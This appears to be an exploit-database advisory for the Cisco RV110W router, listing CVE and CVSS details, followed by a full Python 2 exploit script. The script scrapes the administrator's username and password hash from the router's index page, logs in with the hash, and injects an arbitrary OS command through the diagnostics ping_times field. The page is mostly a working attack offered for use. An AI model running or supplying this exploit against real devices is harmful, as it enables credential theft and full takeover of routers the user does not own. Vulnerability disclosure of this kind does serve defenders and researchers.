Cisco RV110W Password Disclosure / Command Execution

2018.12.15
Credit: RySh
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/env python2 ##### ## Cisco RV110W Password Disclosure and OS Command Execute. ### Tested on version: 1.1.0.9 (maybe useable on 1.2.0.9 and later.) # Exploit Title: Cisco RV110W Password Disclosure and OS Command Execute # Date: 2018-08 # Exploit Author: RySh # Vendor Homepage: https://www.cisco.com/ # Version: 1.1.0.9 # Tested on: RV110W 1.1.0.9 # CVE : CVE-2014-0683, CVE-2015-6396 import os import sys import re import urllib import urllib2 import getopt import json import ssl ssl._create_default_https_context = ssl._create_unverified_context ### # Usage: ./{script_name} 192.168.1.1 443 "reboot" ### if __name__ == "__main__": IP = argv[1] PORT = argv[2] CMD = argv[3] # Get session key, Just access index page. url = 'https://' + IP + ':' + PORT + '/' req = urllib2.Request(url) result = urllib2.urlopen(req) res = result.read() # parse 'admin_pwd'! -- Get credits admin_user = re.search(r'.*(.*admin_name=\")(.*)\"', res).group().split("\"")[1] admin_pwd = re.search(r'.*(.*admin_pwd=\")(.{32})', res).group()[-32:] print "Get Cred. Username = " + admin_user + ", PassHash = " + admin_pwd # Get session_id by POST req2 = urllib2.Request(url + "login.cgi") req2.add_header('Origin', url) req2.add_header('Upgrade-Insecure-Requests', 1) req2.add_header('Content-Type', 'application/x-www-form-urlencoded') req2.add_header('User-Agent', 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)') req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8') req2.add_header('Referer', url) req2.add_header('Accept-Encoding', 'gzip, deflate') req2.add_header('Accept-Language', 'en-US,en;q=0.9') req2.add_header('Cookie', 'SessionID=') data = {"submit_button": "login", "submit_type": "", "gui_action": "", "wait_time": "0", "change_action": "", "enc": "1", "user": admin_user, "pwd": admin_pwd, "sel_lang": "EN" } r = urllib2.urlopen(req2, urllib.urlencode(data)) resp = r.read() login_st = re.search(r'.*login_st=\d;', resp).group().split("=")[1] session_id = re.search(r'.*session_id.*\";', resp).group().split("\"")[1] # Execute your commands via diagnose command parameter, default command is `reboot` req3 = urllib2.Request(url + "apply.cgi;session_id=" + session_id) req3.add_header('Origin', url) req3.add_header('Upgrade-Insecure-Requests', 1) req3.add_header('Content-Type', 'application/x-www-form-urlencoded') req3.add_header('User-Agent', 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)') req3.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8') req3.add_header('Referer', url) req3.add_header('Accept-Encoding', 'gzip, deflate') req3.add_header('Accept-Language', 'en-US,en;q=0.9') req3.add_header('Cookie', 'SessionID=') data_cmd = {"submit_button": "Diagnostics", "change_action": "gozila_cgi", "submit_type": "start_ping", "gui_action": "", "traceroute_ip": "", "commit": "1", "ping_times": "3 |" + CMD + "|", "ping_size": "64", "wait_time": "4", "ping_ip": "127.0.0.1", "lookup_name": "" } r = urllib2.urlopen(req3, urllib.urlencode(data_cmd))


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